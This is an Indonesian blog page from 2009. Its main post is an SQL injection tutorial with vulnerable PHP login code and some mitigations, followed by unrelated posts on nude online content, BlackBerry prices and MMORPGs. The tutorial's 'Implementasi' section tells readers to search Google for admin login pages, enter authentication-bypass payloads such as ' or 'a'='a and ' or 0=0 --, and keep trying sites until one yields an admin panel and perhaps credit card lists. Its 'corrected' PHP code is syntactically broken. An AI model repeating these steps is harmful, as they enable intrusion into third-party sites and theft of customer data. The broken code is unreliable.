Kamis, 25 Juni 2009

TUTORIAL SQL INJECTION

Pengertian SQL Injection
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.


Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice



Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Gambar contoh SQL Injection


Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :


Berubah menjadi :




Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :


Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion

Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :


3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php

Contoh :


Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}


3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION

1) Batasi panjang input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

R E F E R E N S I

1) -------------, SQLinjection, (www.BlackAngels.it).

2) -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com).
3) -------------, SQL injection walktrough (www.securiteam.com).
4) BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com).
5) Budi Raharjo, ”Keamanan Sistem Informasi Berbasis Internet”, PT Insan Indonesia & PT INDOCISC, Jakarta,2002.

Stop dan hati-hati bikin adegan bugil untuk diri sendiri

Bugil, bokep indonesia ,pamer toket telanjang rame-rame, merekam aksi mesum diri sendiri dan sejenisnya, adalah sah-sah aja , gue sebgai orang yang realistis memandang kehidupan berusaha menjunjung tinggi hak asasi orang lain, mau dia bugil atau bersetubuh di tengah jalanan kek..urusan masing-masing...........Tapi.....jeleknya itu , jika aksi perbugilan itu ter-ekspose ke umum, lha kok pada strees, nangis dan menyalahkan orang yang memplublikasikan...lha itu kan dah resiko ente, siapa suruh mengumbar kemaluan se enak udelnya.

Makin marak dan membludaknya konten bugil di dunia internet dunia dan Indonesia, merupakan suatu bagian dari revolusi budaya sex secara global-masal yang mau bagaimanapun caranya tak akan pernah bisa dihentikan ataupun dikurangi sedikitpun, yang pasti semakin hari akan semakin bertambah, ini merupakan fenomena kejiwaan masal dari seluruh insan manusia. karena masalah pornografi atau perbugilan ini juga hanyalah merupakan bentuk persepsi daris sudut pandang manusia di seluruh dunia dengan paham budayanya masing-masing.

Stop dreaming start action beri motivasi diri sendiri untuk memandang sesuatu secara realistis dan positif.
- Apakah masalah bugil,bokep,telanjang adalah budaya yang salah?
- Apakah nafsu birahi itu salah?

Nafsu, ambisi, dan birahi bukan untuk dibunuh, tapi untuk dikendalikan, karena nafsu bisa menjadi sesuatu yang suci dan skaral dalam suatu konteks , diri kita sendiri adalah hasil dari nafsu birahi tak tertahankan dari bapak-ibu kita toh...

Seperti halnya sebuah senjata api ,jika di tangan aparat negara seperti polisi bisa bersifat positif, tapi jika di tangan perampok, ya jadi negatif , lalu jika ada seorang tertembak oleh korban perampokan bersenjata api , kita akan menyalahkan aparat yg tak bisa menjaga keamanan, atau menyalahkan pemerintah yang membuat senjata...semua adalah tanggung jawab bersama untuk sama-sama intropeksi diri.

Budaya perbugilan di dunia internet tak perlu di usahakan untuk di hapus jika ada yang mengatakan budaya bokep harus dihentikan itu cuma kata-kata penghibur diri untuk menutupi kebodohannya, sampai kiamat nggak bakalan bisa,tapi di arahkan menuju arah yang lebih positif, seperti di blog ini dengan artikel tips sex .

Gue samasekali tak setuju dengan orang-orang yang sembarangan mengumbar nafsu birahi dimana-mana, karena itu menyangkut harga diri, sendiri ,keluarga dan kesetiaan. apa pada nggak mikir bahwa para pembuli diri sendiri itu nantinya punya generasi keturunan, dan membayangkan gimana harga diri seorang anak yang orang tua dan nenek moyangnya terkenal dalam kasus dunia bokep,selingkuh,mesum, di grebek polisi karena selingkuh di rumah kosong, kaya yg gue tonton di buserbokep indonesia

Tapi gue juga eneg, mau muntah ,sama orang-orang yang cuma bisanya "sinisme" kepada dunia bokep ini. semua masalah sosial adalah tanggung jawab bersama, jangan menunjukan bersih dan baiknya diri sendiri, karena manusia adalah mahluk sosial yang terpola dalam suatu takdir asal-usul dan saling berhubungan secara berantai dengan manusia satu sama lain. Jika ada anak gadis umur 12 tahun menjadi pelacur, dikarenakan memang ibunya seorang pelacur , bapaknya copet, lahir dan besar di kawasan pelacuran kalijodo, lalu siapa yang mau dipersalahkan, apa mau di bandingkan dengan yang lahir dan besar di kawasan pesantren dan orang alim. atau menganggap diri sendiri lebih suci.

Stop sisnisme! tanpa relevansi yang obyektif dan cuma mencerminkan betapa sempitnya wawasan hidup dan pola pikir, sedangakn kodrat manusia harus selalu belajar menjadi lebih baik dalam segala hal, hari demi hari, dan kembangkan kebiasaan intropeksi diri sendiri, keluarga, dan orang-orang terdekat ,yang merupakan tanggung jawab moral diri kita sendiri..apakah sudah lebih baik dalam segala hal dari apa yang di pandang secara sinis itu.

BlackBerry Harga Rp 2 Juta Segera Meluncur


Ini kabar gembira buat yang masih bermimpi punya telepon seluler ponsel pintar alias smartphone BlackBerry namun belum mampu membelinya. PT Indosat Tbk tengah bersiap meluncurkan BlackBerry dengan kisaran harga Rp 2 juta per unit, jauh lebih murah dari harga BlackBerry saat ini yang minimal Rp 5 juta per unit.

Menurut Direktur Pemasaran Indosat Guntur Siboro, Indosat akan mematok harga paket BlackBerry Rp 2 juta untuk memperluas pasar. "Dalam waktu dekat akan kami luncurkan di Indonesia," ucapnya, Ahad (21/6).

Kendati belum bersedia merinci jenis paket layanan dan gambaran teknis lainnya, dia menandaskan bahwa varian BlackBerry tersebut sengaja dihadirkan untuk membidik pasar menengah bawah alias low-end. Namun, ia tidak bisa memastikan kapan varian tersebut bakal dipasarkan di Indonesia. "Tunggu saja tanggal mainnya," cetus Guntur.

Guntur menambahkan, harga BlackBerry memang tidak bisa lebih jauh lagi bergeser dari kisaran Rp 2 jutaan. "Pasalnya, biaya lisensi untuk 3G saja cukup tinggi," ujarnya, tanpa merinci besarannya. "Kalau sekedar membuat handset yang mirip BlackBerry tentu saja murah," katanya.

Menurut Guntur, selain karena tren, nilai lebih yang dimiliki oleh BlackBerry adalah keunggulan konten di dalam handset-nya. "Berbagai kemudahan multimedia dalam aplikasinya tidak dimiliki handset merek lain," terang Guntur.

Saat ini, Indosat memimpin pasar penjualan BlackBerry di Indonesia dengan angka berkisar 120.000 unit, sementara Excelcomindo Pratama (XL) dan Telkomsel masing-masing 100.000 unit. Selain mereka, PT Natrindo, operator Axis, sejak 10 Juni lalu turut meramaikan pasar BlackBerry di Indonesia. Di luar pasar BlackBerry yang dipegang oleh keempat operator tersebut, saat ini di pasaran Indonesia juga banyak beredar BlackBerry yang diimpor oleh importir umum yang tak bekerjasama dengan operator.

General Manager Komunikasi XL Myra Junor memastikan belum akan menjual BalckBerry di bawah Rp 5 juta. Meskipun, produk Nexian G-900, alias NexianBerry yang dihargai di bawah Rp 1 juta laku 50.000 unit dalam 1,5 Bulan. "Keunggulan BlackBerry yang harganya Rp 5 jutaan ke atas tidak mungkin ditinggalkan penggemarnya,"

Selasa, 23 Juni 2009

MMORPG & Masa Depan Dunia Game



Game MMORPG merupakan sebuah genre yang masih akan berkembang untuk kedepannya. Banyak bentuk MMORPG yang berusaha mencari keunikannya tersendiri di pasar industri game, agar dapat memberikan sesuatu yang original dan segar di mata para gamer.
Contohnya saja World of Warcraft yang telah lama berdiri di industri MMORPG. Meskipun kejatuhannya belum dapat terlihat dalam waktu yang dekat ini, Blizzard jelas tidak ingin memasangkan semua taruhannya ke satu tempat saja. Mereka telah mengabarkan bahwa tahun ini Blizzcon rencananya akan mengumumkan judul MMO baru dan bukan merupakan sekuel dari World of Warcraft. Tapi hal ini masih digeluti oleh kerahasiaan, sehingga belum ada detail yang keluar mengenai judul baru tersebut.

Sebuah sekuel tidak selalu menjadi pendekatan yang terbaik dalam game MMORPG. Tetapi beberapa perusahaan telah menggunakan pendekatan ini atau sedang dalam proses perencanaan. Hal ini dapat kita lihat dari judul Lineage, Guild Wars dan Ragnarok Online. Strategi ini memang terkadang mempunyai keberhasilan, tetapi dapat juga menimbulkan masalah yang ruwet. Berusaha memindahkan player dari satu game ke game yang lainnya merupakan hal yang sulit, karena seorang gamer kadang tidak ingin meninggalkan karakter telah lama dibangunnya hanya untuk memulai dari awal lagi.

Untuk contoh yang lain, dapat kita ambil game MMORPG Final Fantasy XIV (FF XIV)yang telah diumumkan pada acara E3. Mungkin sekilas kelihatan bahwa game ini merupakan sekuel lanjutan dari game Final Fantasy XI (FF XI), karena kemiripan ras dan monster yang ada, tapi game FF XIV ini akan memiliki gameplay yang berbeda dari game FF XI sebelumnya. Square Enix masuk ke dunia MMO dengan beragam inovasi, dan mereka akan melakukannya lagi sekarang, dengan mengimplementasikan apa yang telah mereka pelajari dari game Final Fantasy XI Online.

Dan tentu, ada juga judul game MMO seperti The Secret World yang mencoba mengimplementasikan ide yang berbeda dari yang lainnya. Developer game ini, Funcom, mencoba men-setting gamenya berdasarkan dunia nyata, berbeda dengan game lain yang mengambil tema dunia fantasi. Mereka memunculkan inovasi-inovasi baru untuk gamenya tersebut, seperti adanya hal-hal yang berbau supernatural atau adanya kemungkinan time traveling.

Sangat sulit memastikan kesuksesan dari metode-metode ini. Tapi satu hal yang pasti, akan sangat sulit bagi seorang player yang telah lama bermain di satu judul MMO untuk berpindah ke judul yang lain. Akan tetapi, bagi mereka yang belum terlalu jauh bermain dalam suatu game MMO, mungkin kedatangan judul lain merupakan apa yang mereka cari-cari. (GamingUnion/KotakGame)